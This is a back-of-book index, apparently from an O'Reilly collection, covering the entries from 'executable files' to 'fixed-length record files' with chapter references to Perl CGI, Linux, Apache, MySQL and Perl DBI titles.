executable files, CGI scripts as: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
executables: 1.4.3. Kernel (Running Linux)
execute( ): 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
binding values and: (Programming the Perl DBI) 5.3.4. Binding Values Without bind_ param( )
SQL statements: 5.1.2. Executing Select Statements (Programming the Perl DBI)
execute( ) method: 14.3. Dynamic Database Access (MySQL & mSQL)
14.3.2. Processing Dynamic SQL (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
execute bit: 10.1.2. Write Permissions (CGI Programming with Perl)
execute command, starting SQL query with: 10.4.1.3. Database querying (CGI Programming with Perl)
execute function: 21.2. DBI.pm API (MySQL & mSQL)
execute permission: 2.4.4. Unix Permissions (Apache: The Definitive Guide)
execute permissions (see permissions)
4.13. File Ownership and Permissions (Running Linux)
executeBatch( ) method: 22. JDBC Reference (MySQL & mSQL)
executeQuery( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
executeUpdate( ) method: 14.2. Simple Database Access (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
execution
CGI programs
creating separate processes for: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
disallowing while enabling exec command: 6.2.1. Configuration (CGI Programming with Perl)
file locking and: 10.1.1.1. flock (CGI Programming with Perl)
permissions, turning off for directories: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
world access bit, setting for: 15.1.1. Application Permissions (CGI Programming with Perl)
combining with compilation in perl: 1.3.1. Why Perl? (CGI Programming with Perl)
external applications: 6.2.1. Configuration (CGI Programming with Perl)
HTML::Embperl module, Execute function: 6.4.1.1. Execute (CGI Programming with Perl)
Perl CGI programs, delays caused by interpreter: 17. Efficiency and Optimization (CGI Programming with Perl)
execution tracing: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
existing solutions to problems, finding: 17.1.9. Find Existing Solutions for Your Problems (CGI Programming with Perl)
exit( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
exit command: 17.1. MySQL Utilities (MySQL & mSQL)
exit command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
exit command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
exit command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
exit command, use with mod_perl: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
exiting ex editor: 11.3. ex Command-Line Options (Linux in a Nutshell)
exit_thread( ): 14.6.9.4. Thread Functions (Apache: The Definitive Guide)
EXP( ) function: 15.1. MySQL SQL (MySQL & mSQL)
exp command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
expand command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
$expat, reference to XML::Parser object: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
Expect (see Tcl)
expiration time, setting for HTML documents: 5.3.1.3. Caching (CGI Programming with Perl)
Expires headers: 13.2.1. An Example (CGI Programming with Perl)
ExpiresActive directive: 3.15.1. ExpiresActive (Apache: The Definitive Guide)
ExpiresByType directive: 3.15.2. ExpiresByType (Apache: The Definitive Guide)
ExpiresDefault directive: 3.15.3. ExpiresDefault (Apache: The Definitive Guide)
expiring: 3.15. Expirations (Apache: The Definitive Guide)
cached documents: 9.2.4. CacheMaxExpire (Apache: The Definitive Guide)
cookies: 5.10.5. CookieExpires (Apache: The Definitive Guide)
default time: 3.15.3. ExpiresDefault (Apache: The Definitive Guide)
SSL session keys: 13.7.7. SSLSessionCacheTimeout (Apache: The Definitive Guide)
timeout functions: 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
waiting for requests: 3.4.16. TimeOut (Apache: The Definitive Guide)
EXPLAIN statement: 15.1. MySQL SQL (MySQL & mSQL)
export command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
export command (CVS): 14.4.7.8. export (Linux in a Nutshell)
Exporter module, exporting error subroutine with: 5.5.4. Custom Module (CGI Programming with Perl)
exporting certificates to CGIs: 13.9.1. SSLExportClientCertificates (Apache: The Definitive Guide)
exporting filesystems: 2.5.3. Exporting Filesystems (Linux in a Nutshell)
exporting functions: 5.1.3. Standard and Object-Oriented Syntax (CGI Programming with Perl)
Exportsql/Importsql: 4.5.2.1. Database conversion utilities (MySQL & mSQL)
expr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
expression evaluation: 7.4.1. Variable Substitution (Linux in a Nutshell)
expressions: 8.4.1. How Taint Works (CGI Programming with Perl)
(see also regular expressions)
simple, bracket pairs enclosing (Embperl): 6.4.2.1. Embperl code blocks (CGI Programming with Perl)
tainted values in: 8.4.1. How Taint Works (CGI Programming with Perl)
.exrc file: 11. The vi Editor (Linux in a Nutshell)
ext2 file system
debugging an: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
e2fsck command and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
formatting device as: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tuning the parameters of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
extended partitions: 2.2.2. Repartitioning Concepts (Running Linux)
extended-status command: 4.4.1.6. Command line options for mysqladmin (MySQL & mSQL)
extensions, filename: 4.8.1. AddHandler (Apache: The Definitive Guide)
image negotiation: 6.2.1. Image Negotiation (Apache: The Definitive Guide)
type maps: 6.4. Type Maps (Apache: The Definitive Guide)
extensions, HTTP request headers: 2.3.2.8. Cookies (CGI Programming with Perl)
external applications
calling: 8.2.1. Calling External Applications (CGI Programming with Perl)
pipes, opening to: 8.2.1. Calling External Applications (CGI Programming with Perl)
executing and including output in HTML documents: 6.2.1. Configuration (CGI Programming with Perl)
external modules: 1.2. Perl (Programming the Perl DBI)
external repository locator: 14.4.1. Repository Locators (Linux in a Nutshell)
external users: 13.1. Internal and External Users (Apache: The Definitive Guide)
ext2fs filesystems: 3.1.5. Creating the Filesystems (Running Linux)
exusage command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: F

-f and -F options, sendmail: 9.4.1. Command-Line Options (CGI Programming with Perl)
-f flag (httpd/apache): 2.2. Apache's Flags (Apache: The Definitive Guide)
3.4.8. ServerRoot (Apache: The Definitive Guide)
false command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
false identities, email senders: 9.1.2. False Identities (CGI Programming with Perl)
FancyIndexing directive: 7.1.2. FancyIndexing (Apache: The Definitive Guide)
FancyIndexing option (IndexOptions): 7.1.1. IndexOptions (Apache: The Definitive Guide)
FAQ: A.9.6. FAQ (Programming the Perl DBI)
FAQ, Linux: A.1. Online Documents (Running Linux)
1.10.1. Online Documents (Running Linux)
Fast Ethernet cards: 1.9.7. Ethernet, Fast Ethernet, and Gigabit Ethernet Cards (Running Linux)
FastCGI: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
17.2. FastCGI (CGI Programming with Perl)
installing: 17.2.1. Installing FastCGI (CGI Programming with Perl)
strict pragma, required use of: 1.2.1. Sample CGI (CGI Programming with Perl)
FAT filesystems/partitions: 12.1. Sharing Files (Running Linux)
fatal error messages
displaying in browser: 5.5.2. CGI::Carp (CGI Programming with Perl)
trapping fatal calls: 15.2.4. Trap die (CGI Programming with Perl)
fatalsToBrowser option: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
fax devices: 8.4.4. Checking Print Utilities (Running Linux)
FBDev server: 10.2. Hardware Requirements (Running Linux)
fc command (bash): 7.6.2. The fc Command (Linux in a Nutshell)
7.7. Built-in Commands (Linux in a Nutshell)
f2c translator: 13.7. Other Languages (Running Linux)
fclose( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
Fcntl module: 10.1.1.1. flock (CGI Programming with Perl)
access flags: 10.2.1. DB_File (CGI Programming with Perl)
Fcntl package: 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
fd# files: 3.1.2. Drives and Partitions Under Linux (Running Linux)
8.1.1.2. Backing up to floppy (Running Linux)
fd( ) DB_File method: 2.7.2. Locking Strategies (Programming the Perl DBI)
fdformat command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
fdisk utility: D.3.1. Getting the Mac Ready for Linux (Running Linux)
2.2.4. Repartitioning Your Drives (Running Linux)
3.1.3. Creating Linux Partitions (Running Linux)
3.3.4.2. Problems booting Linux from the hard drive (Running Linux)
5.2.2.2. Using LILO as a secondary boot loader (Running Linux)
feof( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
fetch( ): 5.4. Binding Output Columns (Programming the Perl DBI)
5.4. Binding Output Columns (Programming the Perl DBI)
(see also data, fetching)
fetch function: 21.2. DBI.pm API (MySQL & mSQL)
fetch loops: 5.1.3. Fetching Data (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
fetchall_arrayref( ): 5.6.2. Batch Fetching (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
hash reference arguments: 5.6.2.3. Slice hash reference argument (Programming the Perl DBI)
no arguments: 5.6.2.1. No arguments (Programming the Perl DBI)
slice array reference arguments: 5.6.2.2. Slice array reference argument (Programming the Perl DBI)
fetchall_arrayref function: 21.2. DBI.pm API (MySQL & mSQL)
fetchmail command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
fetchmail package: 16.2.2. Getting the Mail to Your Computer with Fetchmail (Running Linux)
FetchRow( ): 7.4.2. Win32::ODBC (Programming the Perl DBI)
fetchrow_array( ): 5.1.3. Fetching Data (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
7.4.2. Win32::ODBC (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fetchrow_array function: 21.2. DBI.pm API (MySQL & mSQL)
fetchrow_arrayref( ): 5.1.3. Fetching Data (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
fetchrow_arrayref function: 21.2. DBI.pm API (MySQL & mSQL)
21.2. DBI.pm API (MySQL & mSQL)
fetchrow_hashref( ): 5.1.3. Fetching Data (Programming the Perl DBI)
7.4.2. Win32::ODBC (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
21.2. DBI.pm API (MySQL & mSQL)
fetchrows( ) method: 11.2.1. MySQL Statement Handlers (MySQL & mSQL)
fflush command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
fg command: 4.11. Putting a Command in the Background (Running Linux)
fg command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
fg command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
-fg option: 11.1.1. xinit (Running Linux)
fgets( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
fgetss( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
fgrep command: 12.1. Searching One by One (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
passing through a shell: 12.1. Searching One by One (CGI Programming with Perl)
FIELD( ) function: 15.1. MySQL SQL (MySQL & mSQL)
field delimiters, removing: 15.1. MySQL SQL (MySQL & mSQL)
Field List command: 4.4.1.4. Server status (MySQL & mSQL)
fields
arrays of, rows returned as: 10.4.1.3. Database querying (CGI Programming with Perl)
forms, resetting to default values: 4.2.3.7. Reset buttons (CGI Programming with Perl)
headers
HTTP: 2.2.2. HTTP Headers (CGI Programming with Perl)
2.3.2. Request Header Field Lines (CGI Programming with Perl)
Internet email messages: 9.3. Structure of Internet Email (CGI Programming with Perl)
hidden, HTML forms (see hidden fields)
names and descriptions in database: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
validation functions, JavaScript: 7.2.1.3. Validation example (CGI Programming with Perl)
FIELDS ENCLOSED BY modifier: 15.1. MySQL SQL (MySQL & mSQL)
FIELDS keyword: 15.1. MySQL SQL (MySQL & mSQL)
FIELD_TYPE_* function: 21.4. Mysql.pm API (MySQL & mSQL)
figlet application: 8.2.1. Calling External Applications (CGI Programming with Perl)
figlet_INSECURE2.cgi script (example): 8.2.3. Security Strategies (CGI Programming with Perl)
file( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
file as output of SELECT: 15.1. MySQL SQL (MySQL & mSQL)
file command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
file command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
file descriptors (DBM files): 2.7.2. Locking Strategies (Programming the Perl DBI)
file formats, images: 13.1. File Formats (CGI Programming with Perl)
GIF: 13.1.1. GIF (CGI Programming with Perl)
Image::Magick module, working with: 13.5.1.2. Enabling LZW compression (CGI Programming with Perl)
JPEG: 13.1.3. JPEG (CGI Programming with Perl)
PDF: 13.1.4. PDF (CGI Programming with Perl)
PNG: 13.1.1.1. The LZW patent (CGI Programming with Perl)
file handles
anonymous temporary files: 10.1.3.1. Anonymous temporary files (CGI Programming with Perl)
$DBH (database handle): 10.4.2.2. Address book CGI script (CGI Programming with Perl)
file locks, using with: 10.1.1.1. flock (CGI Programming with Perl)
obtaining to uploaded files: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
predefined for Perl scripts: 3.1.1. File Handles (CGI Programming with Perl)
$socket instance variable, use as: 14.1.2. IO::Socket (CGI Programming with Perl)
status, checking: 15.2.3. Is It Open? (CGI Programming with Perl)
temporary files, reading and writing to: 10.1.3.1. Anonymous temporary files (CGI Programming with Perl)
file management commands: 1.6.3. File Management (Linux in a Nutshell)
file name extensions, configuring CGI scripts by: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
file permissions: 2.4.4. Unix Permissions (Apache: The Definitive Guide)
suEXEC utility: 4.7. suEXEC on Unix (Apache: The Definitive Guide)
File Transfer Protocol (FTP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
File Upload element, supporting JavaScript onChange handler: 7.2.1.1. Validating elements (CGI Programming with Perl)
fileatime( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
File::Basename module: 12.3.1. Search Application (CGI Programming with Perl)
extracting filenames with: 12.3. Inverted Index Search (CGI Programming with Perl)
filec variable (csh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
filectime( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
File::Find module: 12.3. Inverted Index Search (CGI Programming with Perl)
filegroup( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
fileinode( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
filemtime( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
filename expansion: 4.7.1. Word Completion (Running Linux)
4.8. Filename Expansion (Running Linux)
filename extensions
image negotiation: 6.2.1. Image Negotiation (Apache: The Definitive Guide)
type maps: 6.4. Type Maps (Apache: The Definitive Guide)
filename patterns: 14.3.3.1. The CVSROOT directory (Linux in a Nutshell)
commitinfo file and: 14.3.3.3. The commitinfo file (Linux in a Nutshell)
cvsignore file and: 14.3.3.5. The cvsignore file (Linux in a Nutshell)
rcsinfo file and: 14.3.3.12. The rcsinfo file (Linux in a Nutshell)
taginfo file and: 14.3.3.14. The taginfo file (Linux in a Nutshell)
filenames
capitalization of, standardizing: 16.2. Coding Guidelines (CGI Programming with Perl)
dynamic, security risks: 8.5.1. Dynamic Filenames (CGI Programming with Perl)
untainting: 6.4.5.1. Embperl handler (CGI Programming with Perl)
filenames, pattern matching: 8.3.2. Filename Metacharacters (Linux in a Nutshell)
9.1. Filenames Versus Patterns (Linux in a Nutshell)
fileowner( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
fileperms( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
files
access and modification times, updating: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
age functions with mod_perl: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
API functions for: 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
appending to: 4.9. Saving Your Output (Running Linux)
archive (see archive files)
archiving (see archiving files)
attributes: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
backup: 8.1. Making Backups (Running Linux)
8.6. What to Do in an Emergency (Running Linux)
for bash shell: 7.3.1. Special Files (Linux in a Nutshell)
binary, converting for email: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
as boilerplates: 6.2.5. Including Boilerplates (CGI Programming with Perl)
calculating checksum for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
CGI script location: 4.2.1. Script in cgi-bin (Apache: The Definitive Guide)
checking: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
classifying by type: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
colon-separated list of file ids for index words: 12.3.1. Search Application (CGI Programming with Perl)
comparing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
compressing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
changing .Z files to .gz: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
copying: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
corrupted: 8.6.2. Accessing Damaged Files (Running Linux)
counting elements of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
csh/tcsh: 8.3.1. Special Files (Linux in a Nutshell)
data storage
dynamic filenames, security risks: 8.5.1. Dynamic Filenames (CGI Programming with Perl)
file permissions: 8.5.3. File Permissions (CGI Programming with Perl)
DBM files: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
Debian package management: 5.2.1. Files (Linux in a Nutshell)
deleting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dependency: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
device: 6.3. Device Files (Running Linux)
.dvi: 9.3.1.2. Formatting and printing (Running Linux)
Emacs commands for: 10.3.1. File-Handling Commands (Linux in a Nutshell)
encoded, recreating original file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
.epl files, Embperl: 6.4.5.1. Embperl handler (CGI Programming with Perl)
"File not found" error: 3.3.1. Problems with Booting the Installation Media (Running Linux)
3.3.3. Problems Installing the Software (Running Linux)
filename API functions: 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
filename extensions: 4.8.1. AddHandler (Apache: The Definitive Guide)
glob notation, listing with: 17.1.8. Avoid the Shell (CGI Programming with Perl)
hidden: 4.4.2. Listing Files (Running Linux)
HTML: 16.1.4. Writing HTML Documents (Running Linux)
identifying processes using: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
imake configuration: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
included in HTML documents: 6.2.5. Including Boilerplates (CGI Programming with Perl)
including content of other files in template: 6.3.1.3. Including other files (CGI Programming with Perl)
including in other: 10.3. Includes (Apache: The Definitive Guide)
indexing: 7. Indexing (Apache: The Definitive Guide)
joining lines: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
language code extensions: 2.6.2. Internationalization (CGI Programming with Perl)
limiting directives to: 3.3.3. < Files> and < FilesMatch> (Apache: The Definitive Guide)
limits on child processes: 3.6.6. Unix File Limits (Apache: The Definitive Guide)
listing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.4.2. Listing Files (Running Linux)
those to be executed: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
in directory: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
locking: 6.4.5.1. Embperl handler (CGI Programming with Perl)
10.1.1. Locking (CGI Programming with Perl)
15.2.5. File Locking (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Elm: 16.2.4.1. Preparing for installation (Running Linux)
flock command, using: 10.1.1.1. flock (CGI Programming with Perl)
hash files: 10.2.1. DB_File (CGI Programming with Perl)
lpc: 8.4.12. Controlling Printer Services with lpc (Running Linux)
manual locks, creating: 10.1.1.2. Manual lock files (CGI Programming with Perl)
logs (see logging)
mail-related: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
maintaining over multiple hosts: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Mason module, not distinguishing among content types: 6.5.1. A Component Approach (CGI Programming with Perl)
merging changes in (CVS): 14.1.2. Conflicts and Merging (Linux in a Nutshell)
merging lines of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
modification time, ordering matching file ids by: 12.3.1. Search Application (CGI Programming with Perl)
object (see object files)
overwriting: 4.9. Saving Your Output (Running Linux)
8.1. Making Backups (Running Linux)
ownership (see permissions)
4.13. File Ownership and Permissions (Running Linux)
page formatting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
paging through: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
patching: 14.2.9. Patching Files (Running Linux)
permissions (see permissions, file)
.pm extension (Perl modules): 5.5.4. Custom Module (CGI Programming with Perl)
printing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
pseudonyms for (see symbolic links)
.rc files: 5.3.3. rc files (Running Linux)
redirection: 8. Redirection (Apache: The Definitive Guide)
removing duplicate lines from: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
renaming: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
restoring from backup: 8.6.3. Restoring Files from Backup (Running Linux)
revision control
CVS utility: 14. CVS and RCS (Linux in a Nutshell)
14.2.8. Revision Control Tools--CVS (Running Linux)
RCS: 14. Tools for Programmers (Running Linux)
RCS utility: 14.5. The RCS Utility (Linux in a Nutshell)
14.2.7. Revision Control Tools--RCS (Running Linux)
saving within vi: 9.1.6. Saving Files and Quitting vi (Running Linux)
searching contents of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
searching for: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
sectioning: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
sharing between Windows and Linux: 12.1. Sharing Files (Running Linux)
accessing Linux files: 12.1.3. Using Samba to Serve SMB Shares (Running Linux)
accessing Windows files: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
file translation utilities: 12.1.5. File Translation Utilities (Running Linux)
size: 10. Server-Side Includes (Apache: The Definitive Guide)
10.1. File Size (Apache: The Definitive Guide)
size information, customizing with SSI: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
slurping (reading in) entire file: 17.1.4. Avoid Slurping (CGI Programming with Perl)
sorting contents of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
specifying to be indexed: 12.3. Inverted Index Search (CGI Programming with Perl)
start-up: 4.15. Startup Files (Running Linux)
swap partitions: 2.2.3. Linux Partition Requirements (Running Linux)
symbolic links between: 4.4.4. Symbolic Links (Running Linux)
temporary
anonymous and named: 10.1.3.1. Anonymous temporary files (CGI Programming with Perl)
getting names of: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
testing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
time conversion: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
transferring: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
uploading with CGI.pm: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
content, accessing: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
disabling in CGI.pm: 5.1.1. Denial of Service Attacks (CGI Programming with Perl)
MAX_FILE_SIZE: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
MAX_OPEN_TRIES, limiting: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
transfer errors in: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
.var files (see type maps)
vi commands for: 11.7. Accessing Multiple Files (Linux in a Nutshell)
Windows, case sensitivity: 12.1.3.2. Configuring Samba (Running Linux)
write permissions: 10.1.2. Write Permissions (CGI Programming with Perl)
filesize( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
filesystems
administration commands for: 2.1.7. Managing Filesystems (Linux in a Nutshell)
checking: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
checking MS-DOS: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
constructing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
identifying processes using: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
MINIX: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
mounting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
NFS: 2.5. Overview of NFS (Linux in a Nutshell)
rebooting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
second extended: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
unmounting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
writing buffers to disk: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
filesystems/partitions (see partitions/filesystems)
filetest command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
filetype( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
filtering application for email processing (procmail): 9.7. procmail (CGI Programming with Perl)
filtering rules (netfilter): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
filters and autohandlers modifying component output (Mason module): 6.5.1. A Component Approach (CGI Programming with Perl)
filters (packet filtering): 13.4.1. Packet Filtering (Apache: The Definitive Guide)
filters, printing: 8.4.5.3. The rest of the printcap variables (Running Linux)
8.4.7. Print Filters (Running Linux)
9.5.1. What Happens to a File After It's Put on the Queue (Running Linux)
magic: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
find command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
8.1.2. Incremental Backups (Running Linux)
find function: 12.3. Inverted Index Search (CGI Programming with Perl)
findColumn( ) method: 22. JDBC Reference (MySQL & mSQL)
finding (see searching)
findres utility: 4.5.2.5. Miscellaneous (MySQL & mSQL)
find_token( ): 14.6.11. String Functions (Apache: The Definitive Guide)
finger command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
finger utility: 13.4.1. Packet Filtering (Apache: The Definitive Guide)
9.4.2. Security (MySQL & mSQL)
fingerd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
finish( ): 5.1.4. Finishing a Data Fetch Early (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
finish command (gdb): 14.1.1. Tracing a Program (Running Linux)
finish function: 21.2. DBI.pm API (MySQL & mSQL)
FIPS: 2.2.4. Repartitioning Your Drives (Running Linux)
firewalls: 13.4. Firewalls (Apache: The Definitive Guide)
2.4. Overview of Firewalls and Masquerading (Linux in a Nutshell)
ipchains and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ipfwadm and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
iptables and: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
proxies and: 2.5.1. Identifying Clients (CGI Programming with Perl)
firmware on Alpha systems: C.3.1. Limitations of ARC Firmware (Running Linux)
C.5.3. Firmware/BIOS Peripheral Device Support (Running Linux)
first( ) method: 22. JDBC Reference (MySQL & mSQL)
first normal form (see normalization, first normal form)
fix-table option (LILO): G.1. Global Options (Running Linux)
fixed-length buffers: 15.5. General Hints (Apache: The Definitive Guide)
fixed-length record files
data storage: 2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
deleting data: 2.4.4. Deleting Data (Programming the Perl DBI)
inserting data: 2.4.2. Inserting Data (Programming the Perl DBI)
querying data: 2.4.1. Querying Data (Programming the Perl DBI)
updating data: 2.4.3. Updating Data (Programming the Perl DBI)
